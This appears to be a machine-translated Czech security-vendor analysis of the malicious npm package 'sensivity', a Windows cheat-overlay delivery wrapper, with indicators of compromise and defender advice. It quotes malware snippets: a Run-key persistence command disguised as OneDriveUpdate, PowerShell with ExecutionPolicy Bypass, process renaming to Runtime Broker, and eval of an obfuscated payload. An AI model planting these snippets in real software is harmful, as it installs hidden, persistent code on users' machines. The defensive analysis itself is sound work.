PairLoop: Skrytý panel vzdáleného ovládání v balíčku npm

PairLoop: Jeden npm balíček, sedmdesát verzí a skrytý panel vzdáleného ovládání Windows

TL, DR

Balíček npm citlivost Popisuje se jako „Panel citlivosti“. Ve Windows se chová jako nástroj pro dálkové ovládání a sledování.

Jeho vstupní bod, launcher.js, přejmenuje svůj vlastní proces na Runtime Broker, zapíše hodnotu automaticky spouštěného klíče Run s názvem OneDriveUpdate který znovu spouští balíček pomocí skrytého VBScriptu, spustí PowerShell s -ExecutionPolicy Bypassa poté vyhodnotí 171 KB obfuskovaný serverový datový soubor spolu s 6.87 MB nativním modulem, sens.node.

Slouží jako ovládací panel pro párování telefonů na TCP portu 3000 a čte URL adresu z adresního řádku aktivního prohlížeče prostřednictvím Windows UIAutomation, přičemž hledá jedno pevně naprogramované video z YouTube.

Dvě části, které dříve působily jako černé skříňky, jsou nyní vyřešeny. Zatemněný server, server.obf.js, používá schéma řetězců a polí obfuscator.io RC4; reimplementace jeho dekodéru offline (bez spuštění JavaScriptu) obnoví jeden externí koncový bod — https://izopi.com/check.php — spolu s vloženým veřejným klíčem RSA používaným k ověřování podepsaných licenčních odpovědí.

Nativní modul, sens.node, není zabalený: jeho importní tabulka a vložené řetězce jej identifikují jako herní overlay DirectX 11 / Dear ImGui poskytující funkce aimbot, ESP (wall-hack) a triggerbot, poháněné vstřikováním do vzdálených procesů a čtením/zápisem do paměti.

Řetězce uvnitř odkazují na entity vozidel a umístění na mapě v souladu s GTA V / FiveM. Balíček npm je obal pro doručování a perzistenci kolem tohoto nativního modulu.

Určujícím signálem je provozní, nikoli technický charakter: jeden anonymní vydavatel vydal zhruba sedmdesát verzí jednoho balíčku – 2.5.0 přes 2.5.69 – během několika dní, přičemž každý nesl stejnou odpalovací raketu.

Neexistují žádné instalace hooksDatová část se spustí pouze při spuštění balíčku.

Útok: Jak to funguje

sensivity dodává deset souborů. Soubor package.json je řídký: žádné pole repository, žádná licence, hlavní alias a dva aliasy bin (sensitivity, sens), které všechny odkazují na launcher.js, a spouštěcí skript node launcher.js. Neexistuje žádná postinstalační ani předinstalační operace. Při instalaci npm se nic nespouští. Níže popsané chování se spustí, když uživatel spustí balíček – pomocí bin shim, spouštěcího skriptu nebo require.

Tarball obsahuje launcher, obfuskovaný server, nativní modul, skript Visual Basic a adresář public/web pro ovládací panel. launcher.js je čitelný orchestrátor; logika, která je důležitá za běhu, se nachází ve dvou blobech, které načítá – obfuskovaný server a zkompilovaný nativní modul, oba jsou řešeny níže.

 Maškaráda procesů a falešný aktualizátor OneDrivu

Na začátku provádění launcher.js dvakrát nastaví svůj vlastní název procesu:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker je legitimní proces systému Windows (RuntimeBroker.exe), který zprostředkovává oprávnění aplikací. Přejmenování procesu uzlu tak, aby odpovídal, znamená, že rychlý pohled do Správce úloh neukazuje nic neobvyklého.

Perzistence je napsána prostřednictvím PowerShellu, nikoli přes přímé API registru:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Hodnota automatického spuštění se nazývá OneDriveUpdate a neodkazuje přímo na balíček. Odkazuje na wscript.exe, který spouští přiložený soubor OneDrive.Standalone.Updater.vbs. Tento skript znovu spustí node launcher.js ve skrytém okně. Název klíče Spustit i název souboru VBScript si vypůjčují značku Microsoftu, takže položka automatického spuštění se čte jako rutinní úloha OneDrive.

PowerShell s obcházením zásad spouštění

Spouštěč se opakovaně obrací na PowerShell. Sink, který skenery označí jako kritický, je spuštění vygenerovaného souboru .ps1 se zakázanou politikou spouštění:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Obejití ExecutionPolicy odstraňuje kontrolu lokálního podepisování skriptů pro dané volání. Vygenerované skripty zpracovávají práci s dohledem nad prohlížečem a detekcí oken popsanou v následující části.

Zahalený server a nativní modul

Po nastavení launcher.js načte a spustí svůj skutečný datový obsah:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Soubor server.obf.js je velký 171 KB a obsahuje _0x-array obfuscation – JavaScriptový vzor, ​​kde je každý řetězec a identifikátor nahrazen indexem v promíchaném poli a poté je za běhu dereferencován. Schéma je variantou RC4 vytvořenou programem obfuscator.io: jediná dekodovací funkce dekóduje položku pole pomocí base64 a poté ji dešifruje pomocí RC4 s klíčem pro každé volání. Reimplementace tohoto dekodéru v samostatném skriptu – spuštění pouze reimplementace nad extrahovaným polem řetězců s 821 položkami, nikdy ne vlastního JavaScriptu balíčku – jej čistě rozvine. Co se na první pohled je skromné, ale decisive: jedna externí URL adresa, https://izopi.com/check.php`, přiřazená konstantě LICENSE_URL; vložený RSA PUBLIC_KEY_PEM`; lokální panel směruje /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off a /trigger/status; a řetězce child_process, crypto a [Sensivity] sens.node loaded – poslední je přesný řádek protokolu, který launcher přepíše na programový modul loaded. Koncový bod je kontrola licence: klient odešle identifikátor (obfuskovaný server formátuje řetězec Discord ID: %s) a klíč RSA ověří podepsanou odpověď serveru.

sens.node je 6.87 MB kompilovaný nativní addon a není zabalený – entropie sekcí je na úrovni 5.6–6.6 a importní a exportní tabulky PE jsou zachovány, takže jeho funkce jsou čitelné přímo. Exportuje napi_register_module_v1, standard Vstupní bod N-API uzlu, takže vyhodnocovaný server jej načte s prostým požadavkem. Jeho importní tabulka je tell. Z KERNEL32 stáhne OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules a Process32First/NextW – kanonickou sadu pro vyhledání jiného procesu, alokaci paměti uvnitř něj a čtení nebo zápis této paměti. Z USER32 stáhne GetAsyncKeyState, GetKeyState, mouse_event a SetCursorPos; propojí d3d11.dll, D3DCOMPILER_43 a dwmapi pro překrytí na obrazovce a plnou sadu WINHTTP pro síťová volání. Jeho vložené řetězce pojmenovávají sadu funkcí bez dvojznačnosti: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected a banner Dear ImGui Dear ImGui 1.91.3 WIP. Řetězce lokace a entit, jako například Grapeseed Medical Clinic a slovník vehicle-ESP, jsou konzistentní s GTA V / FiveM.

Toto rozdělení je záměrné: čitelný launcher.js obsahuje pouze ty části, které skener snadno přečte – persistence, maskování, samotné volání eval – zatímco obfuskace skrývá jednoho externího hostitele, se kterým běhové prostředí komunikuje, a binární soubor obsahuje logiku herního překrytí a vstřikování procesů. Launcher je tenký, auditovatelný shell; obfuskovaný server skrývá síťovou identitu; nativní modul je užitečná zátěž. Importy a řetězce binárního souboru popisujeme jako přečtené; neodvozujeme z nich účel operátora.

 Ovládací panel pro párování telefonů na portu 3000

Spouštěč spravuje lokální webový server na TCP portu 3000 a zachází s ním jako se singletonem. Před navázáním se dotazuje na existující listener a ten vymaže:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panel je dostupný na adrese http://localhost:3000 s pevně zadanou záložní adresou URL sítě LAN http://192.168.1.16:3000. Adresář public/ a chování panelu odpovídají procesu párování QR kódů: telefon naskenuje kód a naváže se na hostitele jako vzdálený ovladač. V launcheru se v otevřeném textu nezobrazuje žádná externí doména pro příkazy a řízení – ale jak ukazuje výše uvedená deobfuskace, na obfuskovaném serveru je přítomna: koncový bod licence izopi.com. Samotný panel je lokální a má rozsah LAN; jediným odchozím hostitelem je tato kontrola licence.

Oddělený model supervizora/pracovníka udržuje proces při životě. Spouštěč se znovu spouští s příznaky prostředí SENSIVITY_SUPERVISOR a SENSIVITY_WORKER, přičemž každý podřízený proces běží skrytě, takže po ukončení jednoho procesu ho restartuje watchdog.

Sledování prohlížeče a signál YouTube

Nejspecifičtějším chováním je monitorování prohlížeče. launcher.js sestavuje PowerShell, který řídí Windows UIAutomation pro čtení adresního řádku spuštěného prohlížeče:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

Funkce ValuePattern vrací textový obsah prvku uživatelského rozhraní. Použije-li se na ovládací prvek adresního řádku prohlížeče, vrátí URL adresu, kterou si oběť aktuálně prohlíží – bez rozšíření prohlížeče, bez úpravy profilu na disku a bez hooku API. Vygenerovaný skript iteruje seznam $browserNames a extrahuje URL adresu nebo název okna prohlížeče, který je v popředí.

Tato URL adresa je testována oproti jednomu pevně zakódovanému cíli:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Spouštěč v třísekundové smyčce vyhledává okno prohlížeče zobrazující YouTube a vygenerovaný PowerShell obsahuje pár Get-YouTubeBrowser / Test-TargetYouTubeUrl, který odpovídá danému ID videa. Pozorovatelný efekt je dvojí: z obrazovky oběti se načte aktivní adresa URL prohlížení a detekuje se interakce hostitele s jedním konkrétním videem na YouTube. Popisujeme mechanismus a cíl; neodvozujeme z nich motiv.

Čtení z adresního řádku je to, co skener označuje jako sensitive_data_enumeration – zdroj Process::env a UIAutomation, který napájí síťový běhový modul. Samostatně vypadá neškodně a do surveillance se dostane až poté, co je životní cyklus dat vysledován od zdroje UIAutomation až po obfuskovaný server.

Časová osa a vývoj verzí

Sensitivity není jednorázové nahrání. Účet vydavatele má zhruba sedmdesát publikovaných verzí tohoto jediného balíčku a během revizního období neustále přibývaly nové. Spouštěč se v rámci verze 2.5.x rozrůstá o funkci po funkci, zatímco jeho perzistence a načítání dat zůstávají pevné.

Datum (UTC)Pozorované verzeStav spouštěče
2026-06-02 2.5.8 - 2.5.46 (25) Základní spouštěč QR panelu; perzistence spouštěcí klávesy; vyhodnocení obfuskovaného serveru.
2026-06-03 2.5.53 - 2.5.61 (6) Stejný otisk prstu; potlačení stopy konzole.
2026-06-04 2.5.67, 2.5.68 (2) Přidá připnutý cíl zapojení na YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Doplňování mezer v celém sortimentu; dozorčí/pracovní dozorčí pes.

Čtení spouštěče napříč staženými verzemi – 2.5.0, 2.5.36 a 2.5.69 – ukazuje čtyři úrovně. Nejstarší sestavení obsahují základní spouštěč pro párování QR kódů. Od verze 2.5.33 se objevuje nástroj pro sběr adres z adresního řádku UIAutomation. Od verze 2.5.58 je přidána vrstva pro správu supervizorů. Od verze 2.5.64 sadu doplňuje samostatný watchdog supervizorů/pracovníků. Po celou dobu se čtyři věci nemění: klíč OneDriveUpdate Run, ukapávač OneDrive.Standalone.Updater.vbs, vyhodnocený soubor server.obf.js a nativní modul sens.node.

Vlna z 5. června 2026 je pozoruhodná tím, že znovu publikovala verze s nízkými čísly – 2.5.0 až 2.5.15 – které se nacházejí pod verzemi potvrzenými o několik dní dříve. Důsledkem je souvislý řádek 2.5.x v registru, přičemž každá verze obsahuje stejný launcher.

Ukazatele kompromisu

Všechny níže uvedené indikátory byly načteny přímo z tarballu balíčku. Čitelný spouštěč obsahuje pouze zpětnou smyčku a jednu privátní LAN adresu; jeden externí název hostitele, izopi.com, byl získán deobfuskací server.obf.js offline.

TypIndikátorPoznámky
Balíčeknpm:sensivity (≈70 verzí, 2.5.0-2.5.69)Vydavatel jednoho balíčku; žádný repozitář; bez licence.
Souborlauncher.jsČitelný orchestrátor; hlavní a přihrádkový cíl.
Souborserver.obf.js (≈171 kB)obfuscator.io RC4 string-array datové zatížení, načtené přes eval(fs.readFileSync(...)).
Souborsens.node (≈6.87 MB)Doplněk PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
SouborOneDrive.Standalone.Updater.vbsSkrytý restartovač (node launcher.js).
Síťhttps://izopi.com/check.phpKoncový bod licence/autentizace obnoven z obfuskovaného serveru; vložený veřejný klíč RSA ověřuje odpovědi.
SchopnostOpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThreadVkládání dat do vzdálených procesů a možnost čtení/zápisu do paměti.
SchopnostEnable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIPHerní překryv s DirectX 11 / ImGui implementující funkce aimbot, ESP a triggerbot.
registrHKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdateHodnota automatického spuštění ukazující na wscript.exe a spouštěč VBScript.
Procesprocess.title = 'Runtime Broker'Maskuje se jako legitimní proces Windows Runtime Broker.
Behaviorálnípowershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1Obejití zásad spouštění používané pro generované skripty PowerShellu.
BehaviorálníUIAutomation ValuePattern čtení adresního řádku prohlížečePřečte URL adresu okna prohlížeče v popředí.
BehaviorálníID cílového videa wJWta2lO0Lw3sekundová anketa na YouTubeSignál pro sledování zapojení připnutý.
Síťhttp://localhost:3000, záložní http://192.168.1.16:3000Ovládací panel pro párování QR kódů je k dispozici lokálně i v síti LAN.
životní prostředíSENSIVITY_SUPERVISOR, SENSIVITY_WORKERPříznaky koordinace procesů odděleného watchdogu.

Atribuce, dopad a obránci

Balíček je publikován jedním npm účtem, jehož uvedená e-mailová adresa je neověřená adresa Gmail. Účet má velmi negativní reputaci v registru, spravuje a publikuje pouze tento jeden balíček a nemá propojený repozitář zdrojového kódu. Vlastnictví e-mailu jsme neověřili a kampaň připisujeme účtu vydavatele, nikoli žádné jmenované osobě. Spouštěč nemá žádnou infrastrukturu pro čtení v otevřeném textu, ale jeden externí hostitel je nyní známý: obfuskovaný server kontaktuje izopi.com kvůli kontrole licence a nativní modul – čten z importní tabulky a řetězců, nikoli obráceně instrukci po instrukci – je herní overlay, který vkládá kód do paměti jiného procesu a čte ji.

Pozorovatelný dopad se týká uživatelů Windows, kteří si instalují a spouštějí Sensitivity s očekáváním utility ovládacího panelu. Na těchto hostitelích balíček nastaví perzistenci automatického spouštění maskovanou jako úloha OneDrive, přejmenuje se tak, aby napodoboval systémový proces, přečte URL adresu všeho, co uživatel prohlíží, a vytvoří párovací panel, který propojí počítač se vzdáleným serverem přes místní síť. Watchdog supervizor/pracovník znamená, že jednorázové ukončení procesu jej neodstraní; položka Run-key přežije restartování. macOS a Linux nejsou cílem spouštěče – cesty persistence, PowerShell a UIAutomation jsou pouze pro Windows.

Trend, který stojí za to upozornit, je fluktuace sedmdesáti verzí. Opakované publikování jednoho balíčku desítkykrát během několika dní, včetně zpětného doplňování čísel verzí pod již odstraněné verze, udržuje aktivní kopii v registru mezi odstraněními a frustruje blokované seznamy verzí. Záznam v blokovaném seznamu pro sensivity@2.5.61 nedělá nic proti sensivity@2.5.3 znovu publikované následující den.

Obránci mohou jednat na základě následujících pokynů:

  • Úplně zablokujte citlivost názvu balíčku v seznamech povolených verzí registry-proxy a CI. Připnutí jednotlivých verzí ztrácí na rytmu opětovného publikování; název je trvalým ukazatelem.
  • Vyhledejte hodnotu spuštěné s názvem OneDriveUpdate, jejíž data volají wscript.exe pro soubor .vbs v cestě pro jednotlivé uživatele. Skutečný aktualizační program OneDrive není tímto způsobem registrován.
  • Upozornění na proces Node.js, jehož process.title je Runtime Broker. Skutečným brokerem je RuntimeBroker.exe, nikoli běhové prostředí Node.
  • Označuje npm načítání balíčků během instalace, které obsahují zkompilovaný doplněk .node a funkci eval(fs.readFileSync(…)) ze sourozeneckého souboru .obf.js. Toto párování – neprůhledný nativní binární soubor načtený vedle obfuskovaného textového obsahu – je zde strukturálním ukazatelem, nezávislým na jakémkoli řetězcovém IOC.
  • Považovat jakýkoli lokálně vázaný posluchač na portu 3000 spuštěný neočekávaným procesem uzlu na spravovaných koncových bodech Windows za podezřelý.
  • Blokovat nebo upozorňovat na odchozí požadavky na izopi.com od vývojářských nebo koncových uživatelů; je to jediný externí koncový bod balíčku, dosažitelný z obfuskovaného serveru na adrese /check.php.
  • U jakéhokoli přibaleného doplňku .node si před důvěřováním prohlédněte jeho tabulku importu. Kombinace OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread je vstřikování vzdáleného procesu bez ohledu na to, co balíček slibuje; zde se nachází vedle překrytí Direct3D a řetězců aimbot/ESP/triggerbot.

Pro statickou analýzu pipelineV případě, že se jedná o křivku přesvědčení, je tento tvar trvalý napříč celým procesem změny verzí: instalační profil mimo síť, přiřazení názvu procesu ke známému názvu systémového procesu, zápis s klíčem Run pomocí PowerShellu a vyhodnocení souboru načteného z disku. Nic z toho nezávisí na doméně, IP adrese ani čísle verze, které může další opětovná publikace otočit.

 Reference

[npm: citlivost] – stránka registru pro zde diskutovaný řádek verze balíčku; podléhá odstranění.

nástroje pro analýzu složení softwaru SCA
Stanovte priority, opravte a zabezpečte svá softwarová rizika
Získejte svůj bezplatný účet.
Nevyžaduje se žádná kreditní karta.

Zajistěte si vývoj a dodávky softwaru

s produktovým balíčkem Xygeni